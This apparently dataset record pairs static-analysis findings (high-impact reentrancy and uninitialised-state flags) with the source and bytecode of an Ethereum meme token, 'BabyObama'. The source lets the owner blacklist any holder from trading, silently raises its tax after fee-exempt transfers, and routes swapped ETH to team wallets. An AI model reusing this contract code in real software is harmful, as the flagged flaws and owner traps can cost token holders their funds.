801561069057600080fd5b505af11580156106a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c891906110b5565b600a80546001600160a01b0319166001600160a01b039283161790556009546201000090041663f305d71947306106fe81610a62565b600c546040516001600160e01b031960e087901b16815261073493929160009182916001600160a01b03169042906004016112c9565b6060604051808303818588803b15801561074d57600080fd5b505af1158015610761573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107869190611255565b50506009805461ff001916610100179081905543600b55600a5460405163095ea7b360e01b81526001600160a01b03918216935063095ea7b3926107d992620100009091041690600019906004016112b0565b602060405180830381600087803b1580156107f357600080fd5b505af1158015610807573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082b9190611235565b5050565b600c546001600160a01b03163314806108525750600d546001600160a01b031633145b61085b57600080fd5b60005b815181101561082b5760016003600084848151811061088d57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108c9816115d6565b91505061085e565b60006108de848484610dc5565b6001600160a01b0384166000908152600160205260408120816108ff610d0d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156109425760405162461bcd60e51b81526004016104fe9061146d565b6109568561094e610d0d565b858403610d11565b506001949350505050565b601290565b60065481565b600c546001600160a01b031633148061098f5750600d546001600160a01b031633145b61099857600080fd5b60005b815181101561082b576000600360008484815181106109ca57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610a06816115d6565b91505061099b565b600c546001600160a01b0316331480610a315750600d546001600160a01b031633145b610a3a57600080fd5b600c80546001600160a01b03191661dead179055565b60006020819052908152604090205481565b6001600160a01b0381166000908152602081905260409020545b919050565b600c546001600160a01b0316331480610aa45750600d546001600160a01b031633145b610aad57600080fd5b6001600160a01b038216610ad35760405162461bcd60e51b81526004016104fe90611436565b610adf60008383611082565b8060066000828254610af19190611583565b90915550506001600160a01b03821660009081526020819052604081208054839290610b1e908490611583565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b6190859061130f565b60405180910390a35050565b600c546001600160a01b031681565b6060600880546104049061159b565b600c546001600160a01b0316331480610bae5750600d546001600160a01b031633145b610bb757600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600061049b610be6610d0d565b8484610dc5565b60088054610bfa9061159b565b80601f0160208091040260200160405190810160405280929190818152602001828054610c269061159b565b8015610c735780601f10610c4857610100808354040283529160200191610c73565b820191906000526020600020905b815481529060010190602001808311610c5657829003601f168201915b505050505081565b600c546001600160a01b0316331480610c9e5750600d546001600160a01b031633145b610ca757600080fd5b600a54600580546001600160a01b0319166001600160a01b039092169190911790556009805460ff19169055565b60078054610bfa9061159b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610d375760405162461bcd60e51b81526004016104fe906114fa565b6001600160a01b038216610d5d5760405162461bcd60e51b81526004016104fe906113ae565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db890859061130f565b60405180910390a3505050565b6001600160a01b038316610deb5760405162461bcd60e51b81526004016104fe906114b5565b6001600160a01b03831660009081526002602052604090205460ff16151560011415610e1657600080fd5b6001600160a01b03831660009081526003602052604090205460ff16158015610e5857506001600160a01b03821660009081526003602052604090205460ff16155b610e6157600080fd5b6005546001600160a01b0383811691161415610ed45760095460ff1680610ea057506001600160a01b03831660009081526004602052604090205460ff165b80610eb85750600d546001600160a01b038481169116145b610ed45760405162461bcd60e51b81526004016104fe9061136b565b6c02863c1f5cdae42f9540000000811080610efc5750600d546001600160a01b038481169116145b80610f145750600c546001600160a01b038481169116145b80610f2757506001600160a01b03831630145b610f3057600080fd5b610f3b838383611082565b6001600160a01b03831660009081526020819052604090205481811015610f745760405162461bcd60e51b81526004016104fe906113f0565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610fab908490611583565b9091555050600b544390610fc0906004611583565b118015610fda5750600a546001600160a01b038581169116145b1561103057826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611023919061130f565b60405180910390a361107c565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611073919061130f565b60405180910390a35b50505050565b505050565b8035610a7c8161161d565b6000602082840312156110a3578081fd5b81356110ae8161161d565b9392505050565b6000602082840312156110c6578081fd5b81516110ae8161161d565b600080604083850312156110e3578081fd5b82356110ee8161161d565b915060208301356110fe8161161d565b809150509250929050565b60008060006060848603121561111d578081fd5b83356111288161161d565b925060208401356111388161161d565b929592945050506040919091013590565b6000806040838503121561115b578182fd5b82356111668161161d565b946020939093013593505050565b60006020808385031215611186578182fd5b823567ffffffffffffffff8082111561119d578384fd5b818501915085601f8301126111b0578384fd5b8135818111156111c2576111c2611607565b838102604051858282010181811085821117156111e1576111e1611607565b604052828152858101935084860182860187018a10156111ff578788fd5b8795505b838610156112285761121481611087565b855260019590950194938601938601611203565b5098975050505050505050565b600060208284031215611246578081fd5b815180151581146110ae578182fd5b600080600060608486031215611269578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b8181101561134457858101830151858201604001528201611328565b818111156113555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252601f908201527f45524332303a206275726e20746f20746865207a65726f206164647265737300604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b60ff91909116815260200190565b60008219821115611596576115966115f1565b500190565b6002810460018216806115af57607f821691505b602082108114156115d057634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ea576115ea6115f1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461163257600080fd5b5056fea264697066735822122098e7d4df06447289b0c22bd6c8ad66e745ad18ee27a8b36e8b110b721db39dc064736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,709 |
0xe1a814955f89cec15a4f43f14b89f1b3cbbdb47b
|
/*
https://t.me/babyobamaofficial
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BabyObama is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BabyObama | t.me/babyobamaofficial";
string private constant _symbol = "BabyObama";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a20565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ec1565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e91906129e4565b610590565b6040516101a09190612ea6565b60405180910390f35b3480156101b557600080fd5b506101be6105ae565b6040516101cb9190613063565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f69190612995565b6105bf565b6040516102089190612ea6565b60405180910390f35b34801561021d57600080fd5b50610226610698565b005b34801561023457600080fd5b5061023d610bf5565b60405161024a91906130d8565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a61565b610bfe565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612907565b610cb0565b005b3480156102b157600080fd5b506102ba610da0565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612907565b610e12565b6040516102f09190613063565b60405180910390f35b34801561030557600080fd5b5061030e610e63565b005b34801561031c57600080fd5b50610325610fb6565b6040516103329190612dd8565b60405180910390f35b34801561034757600080fd5b50610350610fdf565b60405161035d9190612ec1565b60405180910390f35b34801561037257600080fd5b5061038d600480360381019061038891906129e4565b61101c565b60405161039a9190612ea6565b60405180910390f35b3480156103af57600080fd5b506103b861103a565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ab3565b6110b4565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612959565b6111fd565b6040516104179190613063565b60405180910390f35b610428611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fc3565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613379565b9150506104b8565b5050565b606060405180606001604052806022815260200161379c60229139905090565b60006105a461059d611284565b848461128c565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105cc848484611457565b61068d846105d8611284565b610688856040518060600160405280602881526020016137be60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061063e611284565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c169092919063ffffffff16565b61128c565b600190509392505050565b6106a0611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072490612fc3565b60405180910390fd5b600f60149054906101000a900460ff161561077d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077490612f03565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061080d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085357600080fd5b505afa158015610867573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088b9190612930565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ed57600080fd5b505afa158015610901573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109259190612930565b6040518363ffffffff1660e01b8152600401610942929190612df3565b602060405180830381600087803b15801561095c57600080fd5b505af1158015610970573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109949190612930565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a1d30610e12565b600080610a28610fb6565b426040518863ffffffff1660e01b8152600401610a4a96959493929190612e45565b6060604051808303818588803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9c9190612adc565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b9f929190612e1c565b602060405180830381600087803b158015610bb957600080fd5b505af1158015610bcd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf19190612a8a565b5050565b60006009905090565b610c06611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8a90612fc3565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cb8611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3c90612fc3565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610de1611284565b73ffffffffffffffffffffffffffffffffffffffff1614610e0157600080fd5b6000479050610e0f81611c7a565b50565b6000610e5c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d75565b9050919050565b610e6b611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eef90612fc3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f426162794f62616d610000000000000000000000000000000000000000000000815250905090565b6000611030611029611284565b8484611457565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661107b611284565b73ffffffffffffffffffffffffffffffffffffffff161461109b57600080fd5b60006110a630610e12565b90506110b181611de3565b50565b6110bc611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612fc3565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612f83565b60405180910390fd5b6111bb60646111ad83683635c9adc5dea000006120dd90919063ffffffff16565b61215890919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f29190613063565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390613023565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612f43565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144a9190613063565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90613003565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90612ee3565b60405180910390fd5b6000811161157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612fe3565b60405180910390fd5b611582610fb6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f057506115c0610fb6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5357600f60179054906101000a900460ff1615611823573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cc5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117265750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182257600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176c611284565b73ffffffffffffffffffffffffffffffffffffffff1614806117e25750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117ca611284565b73ffffffffffffffffffffffffffffffffffffffff16145b611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890613043565b60405180910390fd5b5b5b60105481111561183257600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015